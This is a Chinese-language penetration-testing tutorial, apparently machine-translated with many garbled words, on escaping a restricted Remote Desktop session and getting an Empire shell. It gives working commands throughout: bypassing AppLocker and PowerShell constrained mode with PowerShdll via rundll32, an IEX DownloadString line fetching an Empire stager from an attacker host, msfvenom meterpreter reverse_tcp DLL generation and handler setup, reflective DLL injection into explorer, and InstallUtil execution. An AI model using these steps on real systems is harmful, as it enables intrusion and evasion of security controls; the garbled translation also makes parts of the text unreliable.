从远程桌面服务到获取Empire Shell

更简单的措施

直到后来我才发明,着实完全可以省去着末两步的操作

本文将为大年夜家具体先容若何在只能造访远程桌面办事,且有 AppLocker 保护 PowerShell 处于说话约束模式下获取目标机械 Empire shellPowerShell 处于说话约束模式,可以防止大年夜多半PowerShell 技术的应用别的,还有 Windows Defender 也是我们必须要面对和办理的问题

情况要求:

RDS办事器放行80端口出站流量

.Net v3.5(用于PowerShdll中的dll模式)

注:powershell.exe不是Powershell它只托管包孕PowerShell的法度榜样集并处置惩罚I/O.System.Management.Automation.dll

有关更多信息,请参阅文末链接内容

从 RDS notepad 获取 shell

https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/

Breaking Out of Citrix and other Restricted Desktop Environments

在记事本界面菜单栏依次选择赞助 -> 查看赞助 -> 触发IE浏览器打开

右键单击IE中的随意率性链接 ->将目标另存为 ->在桌面上另存为lol.ps1

点击IE中的查看下载,按下文件的下拉列表,打开 -> 记事本只需在文件中写入powershell.exe并再次保存

现在,我们再次在IE中右键单击 ->“将目标另存为”转到下拉菜单“保存类型”,然后选择“所有文件”你已保存的ps1文件将被显示,你可以选择“运行 PowerShell”这会弹出一个PowerShell敕令提示符但当前的PowerShell提示符处于说话约束模式我们可以经由过程自动化变量$ExecutionContext.SessionState.LanguageMode进行验证,可以看到结果为ConstrainedLanguage

绕过 PoSh 约束模式

首先,我们从https://github.com/p3nt4/PowerShdll下载PowerShdll然后应用python -m SimpleHTTPServer 80在Kali Web办事器上托管powershdll.dll接着,在IE中打开http://10.7.253.10/PowerShdll.dll着末,将其保存为 -> PowerShdll.dll(可以保存在任何文件夹下)C:\Windows\Tasks文件夹是一个绕过Applocker的好地方,由于该目录平日被列为白名单但导航到文件夹也可能受到限定,是以在某些环境下你可能必要将其保存到C:\Users\Username\Desktop(桌面)

我还不确定若何在Applocked情况中反省DLL规则

现在,我们将PowerShell提示符导航至桌面,并应用rundll32来履行dll

rundll32 .\PowerShdll.dll,main -w

此时,应该会弹出一个新的交互式PowerShell提示符我们再次经由过程自动化变量$ExecutionContext.SessionState.LanguageMode进行验证,可以看到现在已经变为了FullLanguage(完备说话模式)只需应用set Base64 false和set Outfile shell天生一个Empire stager即可现在从不受限的PowerShell中,下载shell并将其直接履行到内存中

IEX (New-Object Net.WebClient).DownloadString(‘http://10.7.253.18/shell’);

假如你够幸运Defender将不会拦截,并且你将获取到一个Empire shell/agent

获取 meterpreter shell

天生一个dll payload:

msfvenom -a x64 –platform windows -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.2 lport=8081 -f dll -o msf.dll

设置msf侦听法度榜样,应用相同的payload,主机和端口

use multi/handler

set host tun0

set port 8081

set payload windows/x64/meterpreter/reverse_tcp

exploit

应用之前的IE“另存为”技术下载msf.dll

出于某种缘故原由,Windows Defender并没有拦截我的payload可能是由于payload的x64署名尚未被Defender辨觉得恶意软件,详细我也不是很清楚

现在,我们应用rundll32来履行dll之以是应用rundll32,是由于它是一个不会被Applocker阻拦的二进制文件

rundll32 .\msf.dll,Control_RunDLL

成功获取到了meterpreter shell

没有 powershell.exe 的 Empire

假设您已建立了一个metasploit会话

[1] [2]下一页

在Empire中,创建一个empire listener 和 stager最紧张的是将Base64设置为false,防止stager调用powershell.exe因为受限的说话模式,将导致powershell.exe无法在此处运行

uselistener http

set Host 10.7.253.18

set Port 4444

execute

back

usestager multi/launcher

set Base64 false

generate

现在在MSF中:

load powershell

powershell_shell

在交互式shell中复制粘贴empire listener,在Empire中应该会天生一个agent代理

更多高档技巧

绕过 powershell 约束模式和 applocker

以下是一篇关于绕过利用白名单和powershell约束模式的文章,大年夜家可以涉猎下:

https://improsec.com/blog/babushka-dolls-or-how-to-bypass-application-whitelisting-and-constrained-powershell

1.应用windows/hta天生一个listener和hta stager

2.在visual studio中打开ReflectivePick project在适当的位置添加hta base64 shell stager,并将dll编译为ReflectivePick_x64.dll

3.应用以下PS敕令将DLL编码为base64,并将结果经由过程管道传输到一个文本文件中

$Content = Get-Content .\ReflectivePick_x64.dll -Encoding Byte

$Encoded = [System.Convert]::ToBase64String($Content)

$Encoded | Out-File “C:\Windows\Tasks\dll.txt”

4.复制粘贴dll.txt的内容到Invoke-ReflectivePEInjection.ps1的新变量中

$dllData = “DLLBASE64_GOES_HERE”

$ProcId = (Get-Process explorer).Id

$Bytes = [System.Convert]::FromBase64String($dllData)

Invoke-ReflectivePEInjection -PEBytes $Bytes -ProcId $ProcId

5.应用https://www.base64encode.org/在线Base64编码全部脚本打开VS中的Bypass project,并将编码后的内容复制粘贴到encoded变量中应用VS将其编译为Bypass.exe

6.应用installutil.exe履行bypass.exe

set-location \\tsclient\lkylabs

copy-item .\Bypass.exe c:\windows\tasks

cd c:\windows\tasks

C:\windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\Bypass.exe

参考链接

https://github.com/Ben0xA/AwesomerShell

https://www.youtube.com/watch?v=czJrXiLs0wM

PowerShell Security: PowerShell Attack Tools, Mitigation, & Detection

Empire without PowerShell.exe

https://artofpwn.com/offensive-and-defensive-powershell-ii.html

https://improsec.com/blog/babushka-dolls-or-how-to-bypass-application-whitelisting-and-constrained-powershell

https://github.com/caseysmithrc/DeviceGuardBypasses

https://github.com/Joshua1909/AllTheThings

https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html

https://twitter.com/gentilkiwi/status/976939139248640000

上一页[1] [2]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包